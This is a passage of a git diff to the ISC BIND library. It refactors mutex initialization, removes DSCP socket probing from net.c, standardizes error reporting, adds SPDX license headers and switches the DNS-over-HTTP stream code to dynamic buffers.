-		for (j = 0; j < ISC_MUTEX_MAX_LOCKERS; j++) {
-			locker = &stats[i].lockers[j];
-			if (locker->file == NULL) {
-				continue;
-			}
-			fprintf(fp,
-				" %-11s %4d: %10u  %lu.%06lu %lu.%06lu %5d\n",
-				locker->file, locker->line, locker->count,
-				locker->locked_total.tv_sec,
-				locker->locked_total.tv_usec,
-				locker->wait_total.tv_sec,
-				locker->wait_total.tv_usec, i);
-		}
-	}
-}
-
-#endif /* ISC_MUTEX_PROFILE */
-
-#if ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK)
-
-static bool errcheck_initialized = false;
-static pthread_mutexattr_t errcheck;
-static isc_once_t once_errcheck = ISC_ONCE_INIT;
+pthread_mutexattr_t isc__mutex_init_attr;
+static isc_once_t init_once = ISC_ONCE_INIT;
 
 static void
-initialize_errcheck(void) {
-	RUNTIME_CHECK(pthread_mutexattr_init(&errcheck) == 0);
-	RUNTIME_CHECK(pthread_mutexattr_settype(&errcheck,
-						PTHREAD_MUTEX_ERRORCHECK) == 0);
-	errcheck_initialized = true;
-}
-
-void
-isc_mutex_init_errcheck(isc_mutex_t *mp) {
-	isc_result_t result;
-	int err;
-
-	result = isc_once_do(&once_errcheck, initialize_errcheck);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	err = pthread_mutex_init(mp, &errcheck);
-	if (err != 0) {
-		strerror_r(err, strbuf, sizeof(strbuf));
-		isc_error_fatal(file, line, "pthread_mutex_init failed: %s",
-				strbuf);
-	}
-}
-#endif /* if ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK) */
-
-#if ISC_MUTEX_DEBUG && defined(__NetBSD__) && defined(PTHREAD_MUTEX_ERRORCHECK)
-pthread_mutexattr_t isc__mutex_attrs = {
-	PTHREAD_MUTEX_ERRORCHECK, /* m_type */
-	0			  /* m_flags, which appears to be unused. */
-};
-#endif /* if ISC_MUTEX_DEBUG && defined(__NetBSD__) && \
-	* defined(PTHREAD_MUTEX_ERRORCHECK) */
-
-#if !(ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK)) && \
-	!ISC_MUTEX_PROFILE
-
+mutex_initialize(void) {
+	RUNTIME_CHECK(pthread_mutexattr_init(&isc__mutex_init_attr) == 0);
 #ifdef HAVE_PTHREAD_MUTEX_ADAPTIVE_NP
-static bool attr_initialized = false;
-static pthread_mutexattr_t attr;
-static isc_once_t once_attr = ISC_ONCE_INIT;
+	RUNTIME_CHECK(pthread_mutexattr_settype(&isc__mutex_init_attr,
+						PTHREAD_MUTEX_ADAPTIVE_NP) ==
+		      0);
 #endif /* HAVE_PTHREAD_MUTEX_ADAPTIVE_NP */
-
-#ifdef HAVE_PTHREAD_MUTEX_ADAPTIVE_NP
-static void
-initialize_attr(void) {
-	RUNTIME_CHECK(pthread_mutexattr_init(&attr) == 0);
-	RUNTIME_CHECK(pthread_mutexattr_settype(
-			      &attr, PTHREAD_MUTEX_ADAPTIVE_NP) == 0);
-	attr_initialized = true;
 }
-#endif /* HAVE_PTHREAD_MUTEX_ADAPTIVE_NP */
 
 void
-isc__mutex_init(isc_mutex_t *mp, const char *file, unsigned int line) {
-	int err;
-
-#ifdef HAVE_PTHREAD_MUTEX_ADAPTIVE_NP
-	isc_result_t result = ISC_R_SUCCESS;
-	result = isc_once_do(&once_attr, initialize_attr);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+isc__mutex_initialize(void) {
+	isc_once_do(&init_once, mutex_initialize);
+}
 
-	err = pthread_mutex_init(mp, &attr);
-#else  /* HAVE_PTHREAD_MUTEX_ADAPTIVE_NP */
-	err = pthread_mutex_init(mp, ISC__MUTEX_ATTRS);
-#endif /* HAVE_PTHREAD_MUTEX_ADAPTIVE_NP */
-	if (err != 0) {
-		char strbuf[ISC_STRERRORSIZE];
-		strerror_r(err, strbuf, sizeof(strbuf));
-		isc_error_fatal(file, line, "pthread_mutex_init failed: %s",
-				strbuf);
-	}
+void
+isc__mutex_shutdown(void) {
+	/* noop */;
 }
-#endif /* if !(ISC_MUTEX_DEBUG && defined(PTHREAD_MUTEX_ERRORCHECK)) && \
-	* !ISC_MUTEX_PROFILE */
diff --git a/lib/isc/mutex_p.h b/lib/isc/mutex_p.h
new file mode 100644
index 0000000000..e9aa8a891b
--- /dev/null
+++ b/lib/isc/mutex_p.h
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+void
+isc__mutex_initialize(void);
+
+void
+isc__mutex_shutdown(void);
diff --git a/lib/isc/mutexblock.c b/lib/isc/mutexblock.c
index e469344349..56a29858ce 100644
--- a/lib/isc/mutexblock.c
+++ b/lib/isc/mutexblock.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/net.c b/lib/isc/net.c
index da2dd320d6..507fdf5dbb 100644
--- a/lib/isc/net.c
+++ b/lib/isc/net.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,12 +22,12 @@
 #endif /* if defined(HAVE_SYS_SYSCTL_H) && !defined(__linux__) */
 #include <errno.h>
 #include <fcntl.h>
+#include <netdb.h>
 #include <sys/uio.h>
 #include <unistd.h>
 
 #include <isc/log.h>
 #include <isc/net.h>
-#include <isc/netdb.h>
 #include <isc/once.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
@@ -107,20 +109,17 @@ static isc_once_t once_ipv6pktinfo = ISC_ONCE_INIT;
 #endif /* ! ISC_CMSG_IP_TOS */
 
 static isc_once_t once = ISC_ONCE_INIT;
-static isc_once_t once_dscp = ISC_ONCE_INIT;
 
 static isc_result_t ipv4_result = ISC_R_NOTFOUND;
 static isc_result_t ipv6_result = ISC_R_NOTFOUND;
 static isc_result_t unix_result = ISC_R_NOTFOUND;
 static isc_result_t ipv6only_result = ISC_R_NOTFOUND;
 static isc_result_t ipv6pktinfo_result = ISC_R_NOTFOUND;
-static unsigned int dscp_result = 0;
 
 static isc_result_t
 try_proto(int domain) {
 	int s;
 	isc_result_t result = ISC_R_SUCCESS;
-	char strbuf[ISC_STRERRORSIZE];
 
 	s = socket(domain, SOCK_STREAM, 0);
 	if (s == -1) {
@@ -139,9 +138,7 @@ try_proto(int domain) {
 #endif /* ifdef EINVAL */
 			return (ISC_R_NOTFOUND);
 		default:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "socket() failed: %s", strbuf);
+			UNEXPECTED_SYSERROR(errno, "socket()");
 			return (ISC_R_UNEXPECTED);
 		}
 	}
@@ -196,7 +193,7 @@ initialize_action(void) {
 
 static void
 initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
+	isc_once_do(&once, initialize_action);
 }
 
 isc_result_t
@@ -221,7 +218,6 @@ static void
 try_ipv6only(void) {
 #ifdef IPV6_V6ONLY
 	int s, on;
-	char strbuf[ISC_STRERRORSIZE];
 #endif /* ifdef IPV6_V6ONLY */
 	isc_result_t result;
 
@@ -238,9 +234,7 @@ try_ipv6only(void) {
 	/* check for TCP sockets */
 	s = socket(PF_INET6, SOCK_STREAM, 0);
 	if (s == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "socket() failed: %s",
-				 strbuf);
+		UNEXPECTED_SYSERROR(errno, "socket()");
 		ipv6only_result = ISC_R_UNEXPECTED;
 		return;
 	}
@@ -256,9 +250,7 @@ try_ipv6only(void) {
 	/* check for UDP sockets */
 	s = socket(PF_INET6, SOCK_DGRAM, 0);
 	if (s == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "socket() failed: %s",
-				 strbuf);
+		UNEXPECTED_SYSERROR(errno, "socket()");
 		ipv6only_result = ISC_R_UNEXPECTED;
 		return;
 	}
@@ -279,15 +271,13 @@ try_ipv6only(void) {
 
 static void
 initialize_ipv6only(void) {
-	RUNTIME_CHECK(isc_once_do(&once_ipv6only, try_ipv6only) ==
-		      ISC_R_SUCCESS);
+	isc_once_do(&once_ipv6only, try_ipv6only);
 }
 
 #ifdef __notyet__
 static void
 try_ipv6pktinfo(void) {
 	int s, on;
-	char strbuf[ISC_STRERRORSIZE];
 	isc_result_t result;
 	int optname;
 
@@ -300,9 +290,7 @@ try_ipv6pktinfo(void) {
 	/* we only use this for UDP sockets */
 	s = socket(PF_INET6, SOCK_DGRAM, IPPROTO_UDP);
 	if (s == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "socket() failed: %s",
-				 strbuf);
+		UNEXPECTED_SYSERROR(errno, "socket()");
 		ipv6pktinfo_result = ISC_R_UNEXPECTED;
 		return;
 	}
@@ -327,8 +315,7 @@ try_ipv6pktinfo(void) {
 
 static void
 initialize_ipv6pktinfo(void) {
-	RUNTIME_CHECK(isc_once_do(&once_ipv6pktinfo, try_ipv6pktinfo) ==
-		      ISC_R_SUCCESS);
+	isc_once_do(&once_ipv6pktinfo, try_ipv6pktinfo);
 }
 #endif /* ifdef __notyet__ */
 
@@ -355,355 +342,6 @@ isc_net_probe_ipv6pktinfo(void) {
 	return (ipv6pktinfo_result);
 }
 
-#if ISC_CMSG_IP_TOS || defined(IPV6_TCLASS)
-
-static inline socklen_t
-cmsg_len(socklen_t len) {
-#ifdef CMSG_LEN
-	return (CMSG_LEN(len));
-#else  /* ifdef CMSG_LEN */
-	socklen_t hdrlen;
-
-	/*
-	 * Cast NULL so that any pointer arithmetic performed by CMSG_DATA
-	 * is correct.
-	 */
-	hdrlen = (socklen_t)CMSG_DATA(((struct cmsghdr *)NULL));
-	return (hdrlen + len);
-#endif /* ifdef CMSG_LEN */
-}
-
-static inline socklen_t
-cmsg_space(socklen_t len) {
-#ifdef CMSG_SPACE
-	return (CMSG_SPACE(len));
-#else  /* ifdef CMSG_SPACE */
-	struct msghdr msg;
-	struct cmsghdr *cmsgp;
-	/*
-	 * XXX: The buffer length is an ad-hoc value, but should be enough
-	 * in a practical sense.
-	 */
-	char dummybuf[sizeof(struct cmsghdr) + 1024];
-
-	memset(&msg, 0, sizeof(msg));
-	msg.msg_control = dummybuf;
-	msg.msg_controllen = sizeof(dummybuf);
-
-	cmsgp = (struct cmsghdr *)dummybuf;
-	cmsgp->cmsg_len = cmsg_len(len);
-
-	cmsgp = CMSG_NXTHDR(&msg, cmsgp);
-	if (cmsgp != NULL) {
-		return ((char *)cmsgp - (char *)msg.msg_control);
-	} else {
-		return (0);
-	}
-#endif /* ifdef CMSG_SPACE */
-}
-
-/*
- * Make a fd non-blocking.
- */
-static isc_result_t
-make_nonblock(int fd) {
-	int ret;
-	int flags;
-	char strbuf[ISC_STRERRORSIZE];
-#ifdef USE_FIONBIO_IOCTL
-	int on = 1;
-
-	ret = ioctl(fd, FIONBIO, (char *)&on);
-#else  /* ifdef USE_FIONBIO_IOCTL */
-	flags = fcntl(fd, F_GETFL, 0);
-	flags |= O_NONBLOCK;
-	ret = fcntl(fd, F_SETFL, flags);
-#endif /* ifdef USE_FIONBIO_IOCTL */
-
-	if (ret == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-#ifdef USE_FIONBIO_IOCTL
-				 "ioctl(%d, FIONBIO, &on): %s", fd,
-#else  /* ifdef USE_FIONBIO_IOCTL */
-				 "fcntl(%d, F_SETFL, %d): %s", fd, flags,
-#endif /* ifdef USE_FIONBIO_IOCTL */
-				 strbuf);
-
-		return (ISC_R_UNEXPECTED);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static bool
-cmsgsend(int s, int level, int type, struct addrinfo *res) {
-	char strbuf[ISC_STRERRORSIZE];
-	struct sockaddr_storage ss;
-	socklen_t len = sizeof(ss);
-	struct msghdr msg;
-	union {
-		struct cmsghdr h;
-		unsigned char b[256];
-	} control;
-	struct cmsghdr *cmsgp;
-	int dscp = (46 << 2); /* Expedited forwarding. */
-	struct iovec iovec;
-	char buf[1] = { 0 };
-	isc_result_t result;
-
-	if (bind(s, res->ai_addr, res->ai_addrlen) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "bind: %s", strbuf);
-		return (false);
-	}
-
-	if (getsockname(s, (struct sockaddr *)&ss, &len) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "getsockname: %s", strbuf);
-		return (false);
-	}
-
-	iovec.iov_base = buf;
-	iovec.iov_len = sizeof(buf);
-
-	memset(&msg, 0, sizeof(msg));
-	msg.msg_name = (struct sockaddr *)&ss;
-	msg.msg_namelen = len;
-	msg.msg_iov = &iovec;
-	msg.msg_iovlen = 1;
-	msg.msg_control = (void *)&control;
-	msg.msg_controllen = 0;
-	msg.msg_flags = 0;
-
-	cmsgp = msg.msg_control;
-
-	switch (type) {
-#ifdef IP_TOS
-	case IP_TOS:
-		memset(cmsgp, 0, cmsg_space(sizeof(char)));
-		cmsgp->cmsg_level = level;
-		cmsgp->cmsg_type = type;
-		cmsgp->cmsg_len = cmsg_len(sizeof(char));
-		*(unsigned char *)CMSG_DATA(cmsgp) = dscp;
-		msg.msg_controllen += cmsg_space(sizeof(char));
-		break;
-#endif /* ifdef IP_TOS */
-#ifdef IPV6_TCLASS
-	case IPV6_TCLASS:
-		memset(cmsgp, 0, cmsg_space(sizeof(dscp)));
-		cmsgp->cmsg_level = level;
-		cmsgp->cmsg_type = type;
-		cmsgp->cmsg_len = cmsg_len(sizeof(dscp));
-		memmove(CMSG_DATA(cmsgp), &dscp, sizeof(dscp));
-		msg.msg_controllen += cmsg_space(sizeof(dscp));
-		break;
-#endif /* ifdef IPV6_TCLASS */
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	if (sendmsg(s, &msg, 0) < 0) {
-		int debug = ISC_LOG_DEBUG(10);
-		const char *typestr;
-		switch (errno) {
-#ifdef ENOPROTOOPT
-		case ENOPROTOOPT:
-#endif /* ifdef ENOPROTOOPT */
-#ifdef EOPNOTSUPP
-		case EOPNOTSUPP:
-#endif /* ifdef EOPNOTSUPP */
-		case EINVAL:
-		case EPERM:
-			break;
-		default:
-			debug = ISC_LOG_NOTICE;
-		}
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		if (debug != ISC_LOG_NOTICE) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-				      "sendmsg: %s", strbuf);
-		} else {
-			typestr = (type == IP_TOS) ? "IP_TOS" : "IPV6_TCLASS";
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "probing "
-					 "sendmsg() with %s=%02x failed: %s",
-					 typestr, dscp, strbuf);
-		}
-		return (false);
-	}
-
-	/*
-	 * Make sure the message actually got sent.
-	 */
-	result = make_nonblock(s);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
-	iovec.iov_base = buf;
-	iovec.iov_len = sizeof(buf);
-
-	memset(&msg, 0, sizeof(msg));
-	msg.msg_name = (struct sockaddr *)&ss;
-	msg.msg_namelen = sizeof(ss);
-	msg.msg_iov = &iovec;
-	msg.msg_iovlen = 1;
-	msg.msg_control = NULL;
-	msg.msg_controllen = 0;
-	msg.msg_flags = 0;
-
-	if (recvmsg(s, &msg, 0) < 0) {
-		return (false);
-	}
-
-	return (true);
-}
-#endif /* if ISC_CMSG_IP_TOS || defined(IPV6_TCLASS) */
-
-static void
-try_dscp_v4(void) {
-#ifdef IP_TOS
-	char strbuf[ISC_STRERRORSIZE];
-	struct addrinfo hints, *res0;
-	int s, dscp = 0, n;
-#ifdef IP_RECVTOS
-	int on = 1;
-#endif /* IP_RECVTOS */
-
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET;
-	hints.ai_socktype = SOCK_DGRAM;
-	hints.ai_protocol = IPPROTO_UDP;
-#ifdef AI_NUMERICHOST
-	hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
-#else  /* ifdef AI_NUMERICHOST */
-	hints.ai_flags = AI_PASSIVE;
-#endif /* ifdef AI_NUMERICHOST */
-
-	n = getaddrinfo("127.0.0.1", NULL, &hints, &res0);
-	if (n != 0 || res0 == NULL) {
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "getaddrinfo(127.0.0.1): %s", gai_strerror(n));
-		return;
-	}
-
-	s = socket(res0->ai_family, res0->ai_socktype, res0->ai_protocol);
-
-	if (s == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "socket: %s", strbuf);
-		freeaddrinfo(res0);
-		return;
-	}
-
-	if (setsockopt(s, IPPROTO_IP, IP_TOS, &dscp, sizeof(dscp)) == 0) {
-		dscp_result |= ISC_NET_DSCPSETV4;
-	}
-
-#ifdef IP_RECVTOS
-	on = 1;
-	if (setsockopt(s, IPPROTO_IP, IP_RECVTOS, &on, sizeof(on)) == 0) {
-		dscp_result |= ISC_NET_DSCPRECVV4;
-	}
-#endif /* IP_RECVTOS */
-
-#if ISC_CMSG_IP_TOS
-	if (cmsgsend(s, IPPROTO_IP, IP_TOS, res0)) {
-		dscp_result |= ISC_NET_DSCPPKTV4;
-	}
-#endif /* ISC_CMSG_IP_TOS */
-
-	freeaddrinfo(res0);
-	close(s);
-
-#endif /* IP_TOS */
-}
-
-static void
-try_dscp_v6(void) {
-#ifdef IPV6_TCLASS
-	char strbuf[ISC_STRERRORSIZE];
-	struct addrinfo hints, *res0;
-	int s, dscp = 0, n;
-#if defined(IPV6_RECVTCLASS)
-	int on = 1;
-#endif /* IPV6_RECVTCLASS */
-
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_socktype = SOCK_DGRAM;
-	hints.ai_protocol = IPPROTO_UDP;
-#ifdef AI_NUMERICHOST
-	hints.ai_flags = AI_PASSIVE | AI_NUMERICHOST;
-#else  /* ifdef AI_NUMERICHOST */
-	hints.ai_flags = AI_PASSIVE;
-#endif /* ifdef AI_NUMERICHOST */
-
-	n = getaddrinfo("::1", NULL, &hints, &res0);
-	if (n != 0 || res0 == NULL) {
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "getaddrinfo(::1): %s", gai_strerror(n));
-		return;
-	}
-
-	s = socket(res0->ai_family, res0->ai_socktype, res0->ai_protocol);
-	if (s == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_DEBUG(10),
-			      "socket: %s", strbuf);
-		freeaddrinfo(res0);
-		return;
-	}
-	if (setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &dscp, sizeof(dscp)) == 0)
-	{
-		dscp_result |= ISC_NET_DSCPSETV6;
-	}
-
-#ifdef IPV6_RECVTCLASS
-	on = 1;
-	if (setsockopt(s, IPPROTO_IPV6, IPV6_RECVTCLASS, &on, sizeof(on)) == 0)
-	{
-		dscp_result |= ISC_NET_DSCPRECVV6;
-	}
-#endif /* IPV6_RECVTCLASS */
-
-	if (cmsgsend(s, IPPROTO_IPV6, IPV6_TCLASS, res0)) {
-		dscp_result |= ISC_NET_DSCPPKTV6;
-	}
-
-	freeaddrinfo(res0);
-	close(s);
-
-#endif /* IPV6_TCLASS */
-}
-
-static void
-try_dscp(void) {
-	try_dscp_v4();
-	try_dscp_v6();
-}
-
-static void
-initialize_dscp(void) {
-	RUNTIME_CHECK(isc_once_do(&once_dscp, try_dscp) == ISC_R_SUCCESS);
-}
-
-unsigned int
-isc_net_probedscp(void) {
-	initialize_dscp();
-	return (dscp_result);
-}
-
 #if defined(USE_SYSCTL_PORTRANGE)
 #if defined(HAVE_SYSCTLBYNAME)
 static isc_result_t
diff --git a/lib/isc/netaddr.c b/lib/isc/netaddr.c
index c20b56991e..29d5e6834b 100644
--- a/lib/isc/netaddr.c
+++ b/lib/isc/netaddr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,6 @@
 #include <isc/buffer.h>
 #include <isc/net.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -243,7 +244,8 @@ isc_netaddr_prefixok(const isc_netaddr_t *na, unsigned int prefixlen) {
 		nbytes++;
 	}
 	if (nbytes < ipbytes &&
-	    memcmp(p + nbytes, zeros, ipbytes - nbytes) != 0) {
+	    memcmp(p + nbytes, zeros, ipbytes - nbytes) != 0)
+	{
 		return (ISC_R_FAILURE);
 	}
 	return (ISC_R_SUCCESS);
@@ -350,8 +352,7 @@ isc_netaddr_fromsockaddr(isc_netaddr_t *t, const isc_sockaddr_t *s) {
 		t->zone = 0;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -438,9 +439,8 @@ isc_netaddr_isnetzero(const isc_netaddr_t *na) {
 
 void
 isc_netaddr_fromv4mapped(isc_netaddr_t *t, const isc_netaddr_t *s) {
-	isc_netaddr_t *src;
-
-	DE_CONST(s, src); /* Must come before IN6_IS_ADDR_V4MAPPED. */
+	isc_netaddr_t *src = UNCONST(s); /* Must come before
+					    IN6_IS_ADDR_V4MAPPED. */
 
 	REQUIRE(s->family == AF_INET6);
 	REQUIRE(IN6_IS_ADDR_V4MAPPED(&src->type.in6));
diff --git a/lib/isc/netmgr/http.c b/lib/isc/netmgr/http.c
index d8c9e576fe..a3b5bd6cb5 100644
--- a/lib/isc/netmgr/http.c
+++ b/lib/isc/netmgr/http.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,9 +18,11 @@
 #include <signal.h>
 #include <string.h>
 
+#include <isc/async.h>
 #include <isc/base64.h>
+#include <isc/log.h>
 #include <isc/netmgr.h>
-#include <isc/print.h>
+#include <isc/sockaddr.h>
 #include <isc/tls.h>
 #include <isc/url.h>
 #include <isc/util.h>
@@ -31,7 +35,12 @@
 
 #define DNS_MEDIA_TYPE "application/dns-message"
 
-#define DEFAULT_CACHE_CONTROL "no-cache, no-store"
+/*
+ * See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control
+ * for additional details. Basically it means "avoid caching by any
+ * means."
+ */
+#define DEFAULT_CACHE_CONTROL "no-cache, no-store, must-revalidate"
 
 /*
  * If server during request processing surpasses any of the limits
@@ -50,8 +59,6 @@
 #define MAX_ALLOWED_DATA_IN_POST \
 	(MAX_DNS_MESSAGE_SIZE + MAX_DNS_MESSAGE_SIZE / 2)
 
-#define MAX_STREAMS_PER_SESSION (100)
-
 #define HEADER_MATCH(header, name, namelen)   \
 	(((namelen) == sizeof(header) - 1) && \
 	 (strncasecmp((header), (const char *)(name), (namelen)) == 0))
@@ -76,6 +83,8 @@
 	((code) >= MIN_SUCCESSFUL_HTTP_STATUS && \
 	 (code) <= MAX_SUCCESSFUL_HTTP_STATUS)
 
+#define INITIAL_DNS_MESSAGE_BUFFER_SIZE (512)
+
 typedef struct isc_nm_http_response_status {
 	size_t code;
 	size_t content_length;
@@ -98,20 +107,18 @@ typedef struct http_cstream {
 	size_t authoritylen;
 	char *path;
 
-	uint8_t rbuf[MAX_DNS_MESSAGE_SIZE];
-	size_t rbufsize;
+	isc_buffer_t *rbuf;
 
 	size_t pathlen;
 	int32_t stream_id;
 
 	bool post; /* POST or GET */
-	isc_region_t postdata;
-	size_t postdata_pos;
+	isc_buffer_t *postdata;
 	char *GET_path;
 	size_t GET_path_len;
 
 	isc_nm_http_response_status_t response_status;
-
+	isc_nmsocket_t *httpsock;
 	LINK(struct http_cstream) link;
 } http_cstream_t;
 
@@ -140,12 +147,11 @@ struct isc_nm_http_session {
 	isc_nmhandle_t *handle;
 	isc_nmhandle_t *client_httphandle;
 	isc_nmsocket_t *serversocket;
-	isc_sockaddr_t server_iface;
 
-	uint8_t buf[MAX_DNS_MESSAGE_SIZE];
-	size_t bufsize;
+	isc_buffer_t *buf;
 
 	isc_tlsctx_t *tlsctx;
+	uint32_t max_concurrent_streams;
 
 	isc__nm_http_pending_callbacks_t pending_write_callbacks;
 	isc_buffer_t *pending_write_data;
@@ -167,12 +173,15 @@ typedef struct isc_http_send_req {
 	isc_nm_http_session_t *session;
 	isc_nmhandle_t *transphandle;
 	isc_nmhandle_t *httphandle;
-	isc_region_t data;
 	isc_nm_cb_t cb;
 	void *cbarg;
+	isc_buffer_t *pending_write_data;
 	isc__nm_http_pending_callbacks_t pending_write_callbacks;
 } isc_http_send_req_t;
 
+#define HTTP_ENDPOINTS_MAGIC	ISC_MAGIC('H', 'T', 'E', 'P')
+#define VALID_HTTP_ENDPOINTS(t) ISC_MAGIC_VALID(t, HTTP_ENDPOINTS_MAGIC)
+
 static bool
 http_send_outgoing(isc_nm_http_session_t *session, isc_nmhandle_t *httphandle,
 		   isc_nm_cb_t cb, void *cbarg);
@@ -211,19 +220,30 @@ static void
 call_pending_callbacks(isc__nm_http_pending_callbacks_t pending_callbacks,
 		       isc_result_t result);
 
+static void
+server_call_cb(isc_nmsocket_t *socket, isc_nm_http_session_t *session,
+	       const isc_result_t result, isc_region_t *data);
+
+static isc_nm_httphandler_t *
+http_endpoints_find(const char *request_path,
+		    const isc_nm_http_endpoints_t *restrict eps);
+
+static void
+http_init_listener_endpoints(isc_nmsocket_t *listener,
+			     isc_nm_http_endpoints_t *epset);
+
+static void
+http_cleanup_listener_endpoints(isc_nmsocket_t *listener);
+
+static isc_nm_http_endpoints_t *
+http_get_listener_endpoints(isc_nmsocket_t *listener, const int tid);
+
 static bool
 http_session_active(isc_nm_http_session_t *session) {
 	REQUIRE(VALID_HTTP2_SESSION(session));
 	return (!session->closed && !session->closing);
 }
 
-static bool
-inactive(isc_nmsocket_t *sock) {
-	return (!isc__nmsocket_active(sock) || atomic_load(&sock->closing) ||
-		atomic_load(&sock->mgr->closing) ||
-		(sock->server != NULL && !isc__nmsocket_active(sock->server)));
-}
-
 static void *
 http_malloc(size_t sz, isc_mem_t *mctx) {
 	return (isc_mem_allocate(mctx, sz));
@@ -231,11 +251,7 @@ http_malloc(size_t sz, isc_mem_t *mctx) {
 
 static void *
 http_calloc(size_t n, size_t sz, isc_mem_t *mctx) {
-	const size_t msize = n * sz;
-	void *data = isc_mem_allocate(mctx, msize);
-
-	memset(data, 0, msize);
-	return (data);
+	return (isc_mem_callocate(mctx, n, sz));
 }
 
 static void *
@@ -316,6 +332,10 @@ isc__nm_httpsession_detach(isc_nm_http_session_t **sessionp) {
 		session->ngsession = NULL;
 	}
 
+	if (session->buf != NULL) {
+		isc_buffer_free(&session->buf);
+	}
+
 	/* We need an acquire memory barrier here */
 	(void)isc_refcount_current(&session->references);
 
@@ -352,7 +372,7 @@ find_http_cstream(int32_t stream_id, isc_nm_http_session_t *session) {
 
 static isc_result_t
 new_http_cstream(isc_nmsocket_t *sock, http_cstream_t **streamp) {
-	isc_mem_t *mctx = sock->mgr->mctx;
+	isc_mem_t *mctx = sock->worker->mctx;
 	const char *uri = NULL;
 	bool post;
 	http_cstream_t *stream = NULL;
@@ -375,6 +395,7 @@ new_http_cstream(isc_nmsocket_t *sock, http_cstream_t **streamp) {
 		return (result);
 	}
 
+	isc__nmsocket_attach(sock, &stream->httpsock);
 	stream->authoritylen = stream->up.field_data[ISC_UF_HOST].len;
 	stream->authority = isc_mem_get(mctx, stream->authoritylen + AUTHEXTRA);
 	memmove(stream->authority, &uri[stream->up.field_data[ISC_UF_HOST].off],
